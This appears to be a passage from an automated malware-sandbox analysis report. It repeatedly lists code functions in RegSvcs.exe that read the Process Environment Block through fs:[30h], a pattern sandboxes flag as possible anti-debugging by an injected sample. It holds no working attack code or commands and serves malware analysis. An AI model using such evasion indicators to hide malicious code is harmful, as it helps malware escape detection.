Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4164 mov eax, dword ptr fs:[00000030h]	9_2_016F4164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B4144 mov eax, dword ptr fs:[00000030h]	9_2_016B4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B4144 mov eax, dword ptr fs:[00000030h]	9_2_016B4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B4144 mov ecx, dword ptr fs:[00000030h]	9_2_016B4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B4144 mov eax, dword ptr fs:[00000030h]	9_2_016B4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B4144 mov eax, dword ptr fs:[00000030h]	9_2_016B4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B8158 mov eax, dword ptr fs:[00000030h]	9_2_016B8158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01626154 mov eax, dword ptr fs:[00000030h]	9_2_01626154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01626154 mov eax, dword ptr fs:[00000030h]	9_2_01626154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161C156 mov eax, dword ptr fs:[00000030h]	9_2_0161C156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01650124 mov eax, dword ptr fs:[00000030h]	9_2_01650124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE10E mov eax, dword ptr fs:[00000030h]	9_2_016CE10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE10E mov ecx, dword ptr fs:[00000030h]	9_2_016CE10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE10E mov eax, dword ptr fs:[00000030h]	9_2_016CE10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE10E mov eax, dword ptr fs:[00000030h]	9_2_016CE10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE10E mov ecx, dword ptr fs:[00000030h]	9_2_016CE10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE10E mov eax, dword ptr fs:[00000030h]	9_2_016CE10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE10E mov eax, dword ptr fs:[00000030h]	9_2_016CE10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE10E mov ecx, dword ptr fs:[00000030h]	9_2_016CE10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE10E mov eax, dword ptr fs:[00000030h]	9_2_016CE10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE10E mov ecx, dword ptr fs:[00000030h]	9_2_016CE10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CA118 mov ecx, dword ptr fs:[00000030h]	9_2_016CA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CA118 mov eax, dword ptr fs:[00000030h]	9_2_016CA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CA118 mov eax, dword ptr fs:[00000030h]	9_2_016CA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CA118 mov eax, dword ptr fs:[00000030h]	9_2_016CA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E0115 mov eax, dword ptr fs:[00000030h]	9_2_016E0115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F61E5 mov eax, dword ptr fs:[00000030h]	9_2_016F61E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016501F8 mov eax, dword ptr fs:[00000030h]	9_2_016501F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E61C3 mov eax, dword ptr fs:[00000030h]	9_2_016E61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E61C3 mov eax, dword ptr fs:[00000030h]	9_2_016E61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0169E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0169E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E1D0 mov ecx, dword ptr fs:[00000030h]	9_2_0169E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0169E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0169E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01660185 mov eax, dword ptr fs:[00000030h]	9_2_01660185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016DC188 mov eax, dword ptr fs:[00000030h]	9_2_016DC188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016DC188 mov eax, dword ptr fs:[00000030h]	9_2_016DC188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C4180 mov eax, dword ptr fs:[00000030h]	9_2_016C4180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C4180 mov eax, dword ptr fs:[00000030h]	9_2_016C4180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A019F mov eax, dword ptr fs:[00000030h]	9_2_016A019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A019F mov eax, dword ptr fs:[00000030h]	9_2_016A019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A019F mov eax, dword ptr fs:[00000030h]	9_2_016A019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A019F mov eax, dword ptr fs:[00000030h]	9_2_016A019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161A197 mov eax, dword ptr fs:[00000030h]	9_2_0161A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161A197 mov eax, dword ptr fs:[00000030h]	9_2_0161A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161A197 mov eax, dword ptr fs:[00000030h]	9_2_0161A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164C073 mov eax, dword ptr fs:[00000030h]	9_2_0164C073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01622050 mov eax, dword ptr fs:[00000030h]	9_2_01622050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A6050 mov eax, dword ptr fs:[00000030h]	9_2_016A6050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161A020 mov eax, dword ptr fs:[00000030h]	9_2_0161A020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161C020 mov eax, dword ptr fs:[00000030h]	9_2_0161C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B6030 mov eax, dword ptr fs:[00000030h]	9_2_016B6030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A4000 mov ecx, dword ptr fs:[00000030h]	9_2_016A4000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C2000 mov eax, dword ptr fs:[00000030h]	9_2_016C2000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C2000 mov eax, dword ptr fs:[00000030h]	9_2_016C2000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C2000 mov eax, dword ptr fs:[00000030h]	9_2_016C2000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C2000 mov eax, dword ptr fs:[00000030h]	9_2_016C2000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C2000 mov eax, dword ptr fs:[00000030h]	9_2_016C2000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C2000 mov eax, dword ptr fs:[00000030h]	9_2_016C2000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C2000 mov eax, dword ptr fs:[00000030h]	9_2_016C2000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C2000 mov eax, dword ptr fs:[00000030h]	9_2_016C2000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163E016 mov eax, dword ptr fs:[00000030h]	9_2_0163E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163E016 mov eax, dword ptr fs:[00000030h]	9_2_0163E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163E016 mov eax, dword ptr fs:[00000030h]	9_2_0163E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163E016 mov eax, dword ptr fs:[00000030h]	9_2_0163E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161A0E3 mov ecx, dword ptr fs:[00000030h]	9_2_0161A0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A60E0 mov eax, dword ptr fs:[00000030h]	9_2_016A60E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016280E9 mov eax, dword ptr fs:[00000030h]	9_2_016280E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161C0F0 mov eax, dword ptr fs:[00000030h]	9_2_0161C0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016620F0 mov ecx, dword ptr fs:[00000030h]	9_2_016620F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A20DE mov eax, dword ptr fs:[00000030h]	9_2_016A20DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016180A0 mov eax, dword ptr fs:[00000030h]	9_2_016180A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B80A8 mov eax, dword ptr fs:[00000030h]	9_2_016B80A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E60B8 mov eax, dword ptr fs:[00000030h]	9_2_016E60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E60B8 mov ecx, dword ptr fs:[00000030h]	9_2_016E60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162208A mov eax, dword ptr fs:[00000030h]	9_2_0162208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C437C mov eax, dword ptr fs:[00000030h]	9_2_016C437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F634F mov eax, dword ptr fs:[00000030h]	9_2_016F634F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A2349 mov eax, dword ptr fs:[00000030h]	9_2_016A2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A035C mov eax, dword ptr fs:[00000030h]	9_2_016A035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A035C mov eax, dword ptr fs:[00000030h]	9_2_016A035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A035C mov eax, dword ptr fs:[00000030h]	9_2_016A035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A035C mov ecx, dword ptr fs:[00000030h]	9_2_016A035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A035C mov eax, dword ptr fs:[00000030h]	9_2_016A035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A035C mov eax, dword ptr fs:[00000030h]	9_2_016A035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EA352 mov eax, dword ptr fs:[00000030h]	9_2_016EA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C8350 mov ecx, dword ptr fs:[00000030h]	9_2_016C8350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F8324 mov eax, dword ptr fs:[00000030h]	9_2_016F8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F8324 mov ecx, dword ptr fs:[00000030h]	9_2_016F8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F8324 mov eax, dword ptr fs:[00000030h]	9_2_016F8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F8324 mov eax, dword ptr fs:[00000030h]	9_2_016F8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A30B mov eax, dword ptr fs:[00000030h]	9_2_0165A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A30B mov eax, dword ptr fs:[00000030h]	9_2_0165A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A30B mov eax, dword ptr fs:[00000030h]	9_2_0165A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161C310 mov ecx, dword ptr fs:[00000030h]	9_2_0161C310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01640310 mov ecx, dword ptr fs:[00000030h]	9_2_01640310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016303E9 mov eax, dword ptr fs:[00000030h]	9_2_016303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016303E9 mov eax, dword ptr fs:[00000030h]	9_2_016303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016303E9 mov eax, dword ptr fs:[00000030h]	9_2_016303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016303E9 mov eax, dword ptr fs:[00000030h]	9_2_016303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016303E9 mov eax, dword ptr fs:[00000030h]	9_2_016303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016303E9 mov eax, dword ptr fs:[00000030h]	9_2_016303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016303E9 mov eax, dword ptr fs:[00000030h]	9_2_016303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016303E9 mov eax, dword ptr fs:[00000030h]	9_2_016303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163E3F0 mov eax, dword ptr fs:[00000030h]	9_2_0163E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163E3F0 mov eax, dword ptr fs:[00000030h]	9_2_0163E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163E3F0 mov eax, dword ptr fs:[00000030h]	9_2_0163E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016563FF mov eax, dword ptr fs:[00000030h]	9_2_016563FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016DC3CD mov eax, dword ptr fs:[00000030h]	9_2_016DC3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0162A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0162A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0162A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0162A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0162A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0162A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016283C0 mov eax, dword ptr fs:[00000030h]	9_2_016283C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016283C0 mov eax, dword ptr fs:[00000030h]	9_2_016283C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016283C0 mov eax, dword ptr fs:[00000030h]	9_2_016283C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016283C0 mov eax, dword ptr fs:[00000030h]	9_2_016283C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A63C0 mov eax, dword ptr fs:[00000030h]	9_2_016A63C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE3DB mov eax, dword ptr fs:[00000030h]	9_2_016CE3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE3DB mov eax, dword ptr fs:[00000030h]	9_2_016CE3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE3DB mov ecx, dword ptr fs:[00000030h]	9_2_016CE3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CE3DB mov eax, dword ptr fs:[00000030h]	9_2_016CE3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C43D4 mov eax, dword ptr fs:[00000030h]	9_2_016C43D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C43D4 mov eax, dword ptr fs:[00000030h]	9_2_016C43D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161E388 mov eax, dword ptr fs:[00000030h]	9_2_0161E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161E388 mov eax, dword ptr fs:[00000030h]	9_2_0161E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161E388 mov eax, dword ptr fs:[00000030h]	9_2_0161E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164438F mov eax, dword ptr fs:[00000030h]	9_2_0164438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164438F mov eax, dword ptr fs:[00000030h]	9_2_0164438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01618397 mov eax, dword ptr fs:[00000030h]	9_2_01618397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01618397 mov eax, dword ptr fs:[00000030h]	9_2_01618397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01618397 mov eax, dword ptr fs:[00000030h]	9_2_01618397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01624260 mov eax, dword ptr fs:[00000030h]	9_2_01624260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01624260 mov eax, dword ptr fs:[00000030h]	9_2_01624260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01624260 mov eax, dword ptr fs:[00000030h]	9_2_01624260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161826B mov eax, dword ptr fs:[00000030h]	9_2_0161826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274 mov eax, dword ptr fs:[00000030h]	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A8243 mov eax, dword ptr fs:[00000030h]	9_2_016A8243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A8243 mov ecx, dword ptr fs:[00000030h]	9_2_016A8243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161A250 mov eax, dword ptr fs:[00000030h]	9_2_0161A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F625D mov eax, dword ptr fs:[00000030h]	9_2_016F625D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01626259 mov eax, dword ptr fs:[00000030h]	9_2_01626259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016DA250 mov eax, dword ptr fs:[00000030h]	9_2_016DA250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016DA250 mov eax, dword ptr fs:[00000030h]	9_2_016DA250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161823B mov eax, dword ptr fs:[00000030h]	9_2_0161823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016302E1 mov eax, dword ptr fs:[00000030h]	9_2_016302E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016302E1 mov eax, dword ptr fs:[00000030h]	9_2_016302E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016302E1 mov eax, dword ptr fs:[00000030h]	9_2_016302E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A2C3 mov eax, dword ptr fs:[00000030h]	9_2_0162A2C3
